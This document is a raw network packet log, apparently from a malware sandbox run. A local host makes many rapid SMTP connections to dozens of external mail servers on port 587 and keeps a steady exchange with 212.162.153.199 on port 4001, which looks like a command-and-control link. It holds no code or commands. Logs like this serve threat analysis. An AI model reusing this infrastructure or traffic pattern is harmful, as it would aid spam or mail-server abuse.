May 19, 2024 17:27:47.805450916 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:27:47.805479050 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.805727959 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.810416937 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.810477018 CEST	587	49981	141.85.160.41	192.168.2.4
May 19, 2024 17:27:47.810508966 CEST	587	49982	142.93.237.125	192.168.2.4
May 19, 2024 17:27:47.810538054 CEST	587	49983	120.50.131.112	192.168.2.4
May 19, 2024 17:27:47.810568094 CEST	49982	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:47.810595036 CEST	49983	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:47.810626030 CEST	49981	587	192.168.2.4	141.85.160.41
May 19, 2024 17:27:47.810673952 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.810714006 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.810739994 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.815016985 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:47.816615105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.817940950 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:47.820403099 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.827564001 CEST	587	49765	64.136.52.44	192.168.2.4
May 19, 2024 17:27:47.827786922 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.832865953 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.849172115 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:47.852904081 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:27:47.854502916 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:47.854624987 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.860037088 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:27:47.860177040 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.860177040 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.861154079 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:27:47.861202955 CEST	49903	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:47.864840984 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:47.864866018 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:27:47.864901066 CEST	587	49903	194.19.134.66	192.168.2.4
May 19, 2024 17:27:47.864936113 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:27:47.864969969 CEST	587	49966	142.93.237.125	192.168.2.4
May 19, 2024 17:27:47.864994049 CEST	49903	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:47.865017891 CEST	49966	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:47.869590998 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.869755983 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.871131897 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.873915911 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.874603033 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.876260042 CEST	49966	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:47.879379988 CEST	587	49792	52.223.34.187	192.168.2.4
May 19, 2024 17:27:47.879677057 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.879700899 CEST	49792	587	192.168.2.4	52.223.34.187
May 19, 2024 17:27:47.879988909 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:47.880048037 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:47.880430937 CEST	49765	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:47.883986950 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:47.884088039 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:27:47.884146929 CEST	49778	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:47.884175062 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:47.884207964 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.884287119 CEST	49792	587	192.168.2.4	52.223.34.187
May 19, 2024 17:27:47.886174917 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.889040947 CEST	587	49966	142.93.237.125	192.168.2.4
May 19, 2024 17:27:47.893867970 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.893917084 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:47.893948078 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:47.893975973 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:47.896078110 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:47.901145935 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:27:47.901185989 CEST	587	49778	142.93.237.125	192.168.2.4
May 19, 2024 17:27:47.901215076 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:47.901246071 CEST	587	49792	52.223.34.187	192.168.2.4
May 19, 2024 17:27:47.903712988 CEST	49984	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:47.907412052 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:27:47.907665014 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.911710024 CEST	49935	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:47.912363052 CEST	587	49984	84.116.6.19	192.168.2.4
May 19, 2024 17:27:47.912435055 CEST	49984	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:47.912646055 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.917079926 CEST	587	49794	104.22.65.144	192.168.2.4
May 19, 2024 17:27:47.917135954 CEST	49794	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:47.917186975 CEST	49794	587	192.168.2.4	104.22.65.144
May 19, 2024 17:27:47.917233944 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.921880960 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.922236919 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.922236919 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.926722050 CEST	587	49794	104.22.65.144	192.168.2.4
May 19, 2024 17:27:47.931565046 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.958575010 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:47.963582039 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.963613987 CEST	587	49967	62.104.23.16	192.168.2.4
May 19, 2024 17:27:47.963643074 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.963673115 CEST	49967	587	192.168.2.4	62.104.23.16
May 19, 2024 17:27:47.963721037 CEST	49967	587	192.168.2.4	62.104.23.16
May 19, 2024 17:27:47.963771105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.964082003 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:47.965150118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.965199947 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.974879980 CEST	49881	587	192.168.2.4	104.27.157.70
May 19, 2024 17:27:47.975039005 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.977958918 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:47.980062008 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:47.983186007 CEST	587	49967	62.104.23.16	192.168.2.4
May 19, 2024 17:27:47.989001989 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:47.989054918 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:47.989088058 CEST	587	49881	104.27.157.70	192.168.2.4
May 19, 2024 17:27:47.989140987 CEST	49881	587	192.168.2.4	104.27.157.70
May 19, 2024 17:27:47.996321917 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.021125078 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:48.029269934 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.032505989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.067661047 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:48.067920923 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.067922115 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.069993019 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:48.070070028 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:48.070245028 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.070245981 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.074846029 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:48.075136900 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.079891920 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:48.079942942 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:48.079976082 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:48.079996109 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:48.080003023 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.080003023 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.080010891 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:48.080069065 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:48.080076933 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.080076933 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.080076933 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.080132008 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.089637041 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:48.089696884 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:48.089705944 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:48.089731932 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.089935064 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.094511986 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.094554901 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.094584942 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.094614983 CEST	587	49843	84.116.6.19	192.168.2.4
May 19, 2024 17:27:48.094643116 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.094671011 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.094846964 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.095041037 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:48.095089912 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:48.095134974 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:48.095454931 CEST	49985	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:48.099401951 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.099456072 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.099487066 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:48.099872112 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.105154037 CEST	587	49778	142.93.237.125	192.168.2.4
May 19, 2024 17:27:48.105207920 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:48.105387926 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.105387926 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.109885931 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.109937906 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:48.109968901 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:48.110002041 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:48.110038042 CEST	587	49985	194.153.145.104	192.168.2.4
May 19, 2024 17:27:48.110104084 CEST	49985	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:48.110337973 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.118746042 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:27:48.118952990 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.124906063 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.129730940 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.130608082 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:48.146224022 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:48.146334887 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:48.146334887 CEST	49778	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:48.146358013 CEST	49843	587	192.168.2.4	84.116.6.19
May 19, 2024 17:27:48.147346973 CEST	49986	587	192.168.2.4	209.67.129.100
May 19, 2024 17:27:48.148940086 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:27:48.149193048 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.149193048 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.150522947 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:27:48.150643110 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.150643110 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.150716066 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:27:48.154165983 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:27:48.154261112 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.158953905 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:27:48.159006119 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.159353018 CEST	49986	587	192.168.2.4	209.67.129.100
May 19, 2024 17:27:48.159708023 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.161726952 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:27:48.163775921 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.169002056 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.169591904 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:48.169672966 CEST	49920	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:48.169785976 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:48.169785976 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:48.169785976 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:27:48.170022011 CEST	49987	587	192.168.2.4	77.78.119.119
May 19, 2024 17:27:48.175153971 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:48.180263042 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:48.208796978 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:27:48.208868980 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.214343071 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:48.214386940 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:48.214416981 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:27:48.214452982 CEST	587	49987	77.78.119.119	192.168.2.4
May 19, 2024 17:27:48.214483023 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:48.214513063 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:48.214534998 CEST	49987	587	192.168.2.4	77.78.119.119
May 19, 2024 17:27:48.214543104 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:48.214571953 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:48.214709997 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.214709997 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.214749098 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:48.214749098 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:48.214750051 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:48.214793921 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.214793921 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.227678061 CEST	587	49801	194.153.145.104	192.168.2.4
May 19, 2024 17:27:48.228537083 CEST	49801	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:48.228756905 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.228761911 CEST	49801	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:48.232551098 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:48.232800961 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.237569094 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:48.237622976 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.242430925 CEST	587	49801	194.153.145.104	192.168.2.4
May 19, 2024 17:27:48.255578041 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:48.260965109 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.286931038 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:48.292325974 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.292383909 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:48.292664051 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.293029070 CEST	49779	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:48.293207884 CEST	49789	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:48.293302059 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:48.293395042 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:48.293605089 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:48.297925949 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:27:48.300589085 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.308355093 CEST	587	49779	142.93.237.125	192.168.2.4
May 19, 2024 17:27:48.308425903 CEST	587	49789	142.93.237.125	192.168.2.4
May 19, 2024 17:27:48.308522940 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:48.308554888 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:48.308621883 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:48.333621025 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:48.339039087 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.339096069 CEST	587	49805	193.81.82.81	192.168.2.4
May 19, 2024 17:27:48.339128017 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:48.339214087 CEST	49805	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:48.339296103 CEST	49805	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:48.339381933 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.339381933 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.339448929 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.339500904 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.349327087 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:27:48.361454010 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:48.362538099 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:48.362629890 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:48.362838984 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.362839937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.365458965 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:48.368674994 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:48.368735075 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:48.368778944 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:48.368858099 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.368859053 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.368859053 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.368956089 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.373598099 CEST	587	49805	193.81.82.81	192.168.2.4
May 19, 2024 17:27:48.373651028 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.376722097 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.376776934 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.376811028 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:48.378849030 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:48.378964901 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:48.379118919 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.380280018 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.380342007 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:48.380594015 CEST	49847	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:48.381067038 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:48.381134987 CEST	49920	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:48.381963015 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.381963968 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.383671999 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:48.384691954 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.389708996 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.389763117 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.394623041 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.410753965 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.411885023 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:48.412655115 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.412655115 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.412782907 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:27:48.414132118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.415330887 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.415332079 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.417098999 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.422200918 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.422301054 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:27:48.422329903 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.427355051 CEST	49920	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:48.427419901 CEST	49893	465	192.168.2.4	188.114.96.3
May 19, 2024 17:27:48.427567005 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.470902920 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.470944881 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.471010923 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:48.471291065 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.471412897 CEST	49988	587	192.168.2.4	188.94.251.250
May 19, 2024 17:27:48.476943016 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:48.480588913 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.481859922 CEST	465	49893	188.114.96.3	192.168.2.4
May 19, 2024 17:27:48.481941938 CEST	49893	465	192.168.2.4	188.114.96.3
May 19, 2024 17:27:48.510190010 CEST	587	49988	188.94.251.250	192.168.2.4
May 19, 2024 17:27:48.510241985 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.510273933 CEST	587	49789	142.93.237.125	192.168.2.4
May 19, 2024 17:27:48.510303974 CEST	587	49810	104.18.2.81	192.168.2.4
May 19, 2024 17:27:48.510314941 CEST	49988	587	192.168.2.4	188.94.251.250
May 19, 2024 17:27:48.510344028 CEST	587	49847	168.0.132.203	192.168.2.4
May 19, 2024 17:27:48.510387897 CEST	49810	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:48.510454893 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.510478973 CEST	49810	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:48.510507107 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.510555029 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.510579109 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.510704041 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:48.510793924 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.510793924 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.512428999 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:48.512494087 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:48.512643099 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.512644053 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.514794111 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:48.514811039 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:48.514826059 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:48.514863968 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:48.515022993 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.515022993 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:48.519728899 CEST	587	49810	104.18.2.81	192.168.2.4
May 19, 2024 17:27:48.519742966 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.519757032 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.521085978 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:48.521178007 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:48.524599075 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.529680967 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.529733896 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:48.529942989 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:48.529999971 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:48.530086994 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:48.530383110 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:48.530430079 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:48.535173893 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:48.540466070 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:48.552397013 CEST	49789	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:48.552467108 CEST	49847	587	192.168.2.4	168.0.132.203
